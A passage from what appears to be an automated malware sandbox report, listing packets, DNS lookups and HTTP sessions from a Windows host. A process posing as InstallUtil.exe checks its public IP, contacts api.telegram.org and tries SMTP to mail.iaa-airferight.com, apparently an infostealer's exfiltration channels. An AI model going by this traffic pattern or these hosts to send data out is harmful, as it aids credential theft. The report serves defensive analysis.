Mar 11, 2025 06:10:45.210974932 CET	49745	443	192.168.2.5	149.154.167.220
Mar 11, 2025 06:10:45.212857962 CET	49745	443	192.168.2.5	149.154.167.220
Mar 11, 2025 06:10:45.212867975 CET	443	49745	149.154.167.220	192.168.2.5
Mar 11, 2025 06:10:45.213140011 CET	443	49745	149.154.167.220	192.168.2.5
Mar 11, 2025 06:10:45.214550018 CET	49745	443	192.168.2.5	149.154.167.220
Mar 11, 2025 06:10:45.260332108 CET	443	49745	149.154.167.220	192.168.2.5
Mar 11, 2025 06:10:45.625278950 CET	443	49746	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:45.626995087 CET	49746	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:45.627031088 CET	443	49746	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:45.741005898 CET	443	49745	149.154.167.220	192.168.2.5
Mar 11, 2025 06:10:45.741099119 CET	443	49745	149.154.167.220	192.168.2.5
Mar 11, 2025 06:10:45.741183996 CET	49745	443	192.168.2.5	149.154.167.220
Mar 11, 2025 06:10:45.762387991 CET	49745	443	192.168.2.5	149.154.167.220
Mar 11, 2025 06:10:46.100775957 CET	443	49746	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:46.100856066 CET	443	49746	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:46.100958109 CET	49746	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:46.101470947 CET	49746	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:46.104734898 CET	49744	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:46.105848074 CET	49747	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:46.109833002 CET	80	49744	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:46.109918118 CET	49744	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:46.110699892 CET	80	49747	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:46.110789061 CET	49747	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:46.110882044 CET	49747	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:46.115700960 CET	80	49747	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:46.695955992 CET	80	49747	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:46.702601910 CET	49748	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:46.702665091 CET	443	49748	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:46.702729940 CET	49748	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:46.703011990 CET	49748	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:46.703026056 CET	443	49748	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:46.749979019 CET	49747	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:48.688457012 CET	443	49748	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:48.690203905 CET	49748	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:48.690253019 CET	443	49748	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:49.188817024 CET	443	49748	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:49.212374926 CET	443	49748	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:49.212505102 CET	49748	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:49.212956905 CET	49748	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:49.235582113 CET	49747	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:49.236691952 CET	49749	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:49.241055965 CET	80	49747	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:49.241131067 CET	49747	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:49.241580009 CET	80	49749	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:49.241641998 CET	49749	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:49.241878033 CET	49749	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:49.246718884 CET	80	49749	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:49.821760893 CET	80	49749	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:49.827111006 CET	49750	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:49.827159882 CET	443	49750	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:49.827224016 CET	49750	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:49.836088896 CET	49750	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:49.836116076 CET	443	49750	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:49.872706890 CET	49749	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:51.674071074 CET	443	49750	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:51.675717115 CET	49750	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:51.675748110 CET	443	49750	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:51.720437050 CET	49751	25	192.168.2.5	46.175.148.58
Mar 11, 2025 06:10:51.720566034 CET	49715	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:52.152093887 CET	443	49750	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:52.152172089 CET	443	49750	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:52.152242899 CET	49750	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:52.152668953 CET	49750	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:52.163111925 CET	49749	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:52.163995028 CET	49753	443	192.168.2.5	149.154.167.220
Mar 11, 2025 06:10:52.164030075 CET	443	49753	149.154.167.220	192.168.2.5
Mar 11, 2025 06:10:52.164084911 CET	49753	443	192.168.2.5	149.154.167.220
Mar 11, 2025 06:10:52.164516926 CET	49753	443	192.168.2.5	149.154.167.220
Mar 11, 2025 06:10:52.164526939 CET	443	49753	149.154.167.220	192.168.2.5
Mar 11, 2025 06:10:52.168147087 CET	80	49749	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:52.168205976 CET	49749	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:52.732116938 CET	49751	25	192.168.2.5	46.175.148.58
Mar 11, 2025 06:10:53.992244959 CET	443	49753	149.154.167.220	192.168.2.5
Mar 11, 2025 06:10:53.992398977 CET	49753	443	192.168.2.5	149.154.167.220
Mar 11, 2025 06:10:53.994050980 CET	49753	443	192.168.2.5	149.154.167.220
Mar 11, 2025 06:10:53.994062901 CET	443	49753	149.154.167.220	192.168.2.5
Mar 11, 2025 06:10:53.994405985 CET	443	49753	149.154.167.220	192.168.2.5
Mar 11, 2025 06:10:53.995883942 CET	49753	443	192.168.2.5	149.154.167.220
Mar 11, 2025 06:10:54.036329985 CET	443	49753	149.154.167.220	192.168.2.5
Mar 11, 2025 06:10:54.564598083 CET	443	49753	149.154.167.220	192.168.2.5
Mar 11, 2025 06:10:54.564682961 CET	443	49753	149.154.167.220	192.168.2.5
Mar 11, 2025 06:10:54.564763069 CET	49753	443	192.168.2.5	149.154.167.220
Mar 11, 2025 06:10:54.567018032 CET	49753	443	192.168.2.5	149.154.167.220
Mar 11, 2025 06:10:54.732146978 CET	49751	25	192.168.2.5	46.175.148.58
Mar 11, 2025 06:10:58.732254982 CET	49751	25	192.168.2.5	46.175.148.58
Mar 11, 2025 06:10:59.692954063 CET	49754	25	192.168.2.5	46.175.148.58
Mar 11, 2025 06:10:59.692958117 CET	49728	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:11:00.700939894 CET	49754	25	192.168.2.5	46.175.148.58
Mar 11, 2025 06:11:02.700942993 CET	49754	25	192.168.2.5	46.175.148.58
Mar 11, 2025 06:11:06.716516972 CET	49754	25	192.168.2.5	46.175.148.58
Mar 11, 2025 06:11:06.732148886 CET	49751	25	192.168.2.5	46.175.148.58
Mar 11, 2025 06:11:14.732218981 CET	49754	25	192.168.2.5	46.175.148.58
Mar 11, 2025 06:11:21.830097914 CET	49755	25	192.168.2.5	46.175.148.58
Mar 11, 2025 06:11:22.841634989 CET	49755	25	192.168.2.5	46.175.148.58
Mar 11, 2025 06:11:24.857237101 CET	49755	25	192.168.2.5	46.175.148.58
Mar 11, 2025 06:11:28.857407093 CET	49755	25	192.168.2.5	46.175.148.58
Mar 11, 2025 06:11:29.829961061 CET	49756	25	192.168.2.5	46.175.148.58
Mar 11, 2025 06:11:30.841613054 CET	49756	25	192.168.2.5	46.175.148.58
Mar 11, 2025 06:11:32.841690063 CET	49756	25	192.168.2.5	46.175.148.58
Mar 11, 2025 06:11:36.841599941 CET	49756	25	192.168.2.5	46.175.148.58
Mar 11, 2025 06:11:36.857238054 CET	49755	25	192.168.2.5	46.175.148.58
Mar 11, 2025 06:11:44.855026007 CET	49756	25	192.168.2.5	46.175.148.58

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 11, 2025 06:09:58.183087111 CET	63645	53	192.168.2.5	1.1.1.1
Mar 11, 2025 06:09:58.189814091 CET	53	63645	1.1.1.1	192.168.2.5
Mar 11, 2025 06:09:59.174424887 CET	59165	53	192.168.2.5	1.1.1.1
Mar 11, 2025 06:09:59.184005022 CET	53	59165	1.1.1.1	192.168.2.5
Mar 11, 2025 06:10:43.354370117 CET	64380	53	192.168.2.5	1.1.1.1
Mar 11, 2025 06:10:43.361470938 CET	53	64380	1.1.1.1	192.168.2.5
Mar 11, 2025 06:10:51.709068060 CET	57115	53	192.168.2.5	1.1.1.1
Mar 11, 2025 06:10:51.719671965 CET	53	57115	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 11, 2025 06:09:58.183087111 CET	192.168.2.5	1.1.1.1	0x2b24	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Mar 11, 2025 06:09:59.174424887 CET	192.168.2.5	1.1.1.1	0xfa64	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Mar 11, 2025 06:10:43.354370117 CET	192.168.2.5	1.1.1.1	0x2522	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Mar 11, 2025 06:10:51.709068060 CET	192.168.2.5	1.1.1.1	0xbd97	Standard query (0)	mail.iaa-airferight.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 11, 2025 06:09:58.189814091 CET	1.1.1.1	192.168.2.5	0x2b24	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 11, 2025 06:09:58.189814091 CET	1.1.1.1	192.168.2.5	0x2b24	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Mar 11, 2025 06:09:58.189814091 CET	1.1.1.1	192.168.2.5	0x2b24	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Mar 11, 2025 06:09:58.189814091 CET	1.1.1.1	192.168.2.5	0x2b24	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Mar 11, 2025 06:09:58.189814091 CET	1.1.1.1	192.168.2.5	0x2b24	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Mar 11, 2025 06:09:58.189814091 CET	1.1.1.1	192.168.2.5	0x2b24	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Mar 11, 2025 06:09:59.184005022 CET	1.1.1.1	192.168.2.5	0xfa64	No error (0)	reallyfreegeoip.org		104.21.96.1	A (IP address)	IN (0x0001)	false
Mar 11, 2025 06:09:59.184005022 CET	1.1.1.1	192.168.2.5	0xfa64	No error (0)	reallyfreegeoip.org		104.21.48.1	A (IP address)	IN (0x0001)	false
Mar 11, 2025 06:09:59.184005022 CET	1.1.1.1	192.168.2.5	0xfa64	No error (0)	reallyfreegeoip.org		104.21.64.1	A (IP address)	IN (0x0001)	false
Mar 11, 2025 06:09:59.184005022 CET	1.1.1.1	192.168.2.5	0xfa64	No error (0)	reallyfreegeoip.org		104.21.80.1	A (IP address)	IN (0x0001)	false
Mar 11, 2025 06:09:59.184005022 CET	1.1.1.1	192.168.2.5	0xfa64	No error (0)	reallyfreegeoip.org		104.21.32.1	A (IP address)	IN (0x0001)	false
Mar 11, 2025 06:09:59.184005022 CET	1.1.1.1	192.168.2.5	0xfa64	No error (0)	reallyfreegeoip.org		104.21.112.1	A (IP address)	IN (0x0001)	false
Mar 11, 2025 06:09:59.184005022 CET	1.1.1.1	192.168.2.5	0xfa64	No error (0)	reallyfreegeoip.org		104.21.16.1	A (IP address)	IN (0x0001)	false
Mar 11, 2025 06:10:43.361470938 CET	1.1.1.1	192.168.2.5	0x2522	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Mar 11, 2025 06:10:51.719671965 CET	1.1.1.1	192.168.2.5	0xbd97	No error (0)	mail.iaa-airferight.com		46.175.148.58	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49712	158.101.44.242	80	8068	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2025 06:09:58.201845884 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Mar 11, 2025 06:09:58.804289103 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 11 Mar 2025 05:09:58 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 32470de83870363cc07df7c112ff262f Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Mar 11, 2025 06:09:58.809731007 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Mar 11, 2025 06:09:58.969089031 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 11 Mar 2025 05:09:58 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 262c9d68585d47dc95266f3d0c60061a Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Mar 11, 2025 06:10:01.540587902 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Mar 11, 2025 06:10:04.818378925 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 11 Mar 2025 05:10:04 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 3289b0b94bdd1d2e85d86153af374771 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49715	158.101.44.242	80	8068	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2025 06:10:07.197340012 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Mar 11, 2025 06:10:16.672739983 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 11 Mar 2025 05:10:16 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: abb891f7b2c22e592b1699bf80874c9c Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49716	158.101.44.242	80	7500	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2025 06:10:10.494441032 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Mar 11, 2025 06:10:18.796195030 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 11 Mar 2025 05:10:18 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: aeb2afb853333e428eba3ef7b74f700d Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Mar 11, 2025 06:10:18.799894094 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Mar 11, 2025 06:10:24.057415009 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 11 Mar 2025 05:10:23 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 8419d03a7368bf471f61d8fef0671484 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Mar 11, 2025 06:10:26.454727888 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Mar 11, 2025 06:10:27.801373005 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 11 Mar 2025 05:10:27 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: e5d0c04f9f3acc73fb64cc9725911e8d Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49721	158.101.44.242	80	8068	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2025 06:10:18.928136110 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Mar 11, 2025 06:10:24.490513086 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 11 Mar 2025 05:10:24 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: ffea57a928991934d8af846414139f1d Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49725	158.101.44.242	80	8068	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2025 06:10:26.719578028 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Mar 11, 2025 06:10:28.659517050 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 11 Mar 2025 05:10:28 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 4746b0d51743a96a37ed3f51156c76c9 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49728	158.101.44.242	80	7500	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2025 06:10:30.015328884 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Mar 11, 2025 06:10:30.665066004 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 11 Mar 2025 05:10:30 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: c80ff8847ec6660db5ec25ad3d99e751 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49730	158.101.44.242	80	8068	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2025 06:10:30.822541952 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Mar 11, 2025 06:10:31.433689117 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 11 Mar 2025 05:10:31 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 7d45246160f0f72128c2095ce025a47d Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49732	158.101.44.242	80	7500	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2025 06:10:34.061528921 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Mar 11, 2025 06:10:34.633016109 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 11 Mar 2025 05:10:34 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 2eafc63cc3080f50b077872485152aed Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49733	158.101.44.242	80	8068	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2025 06:10:34.115523100 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
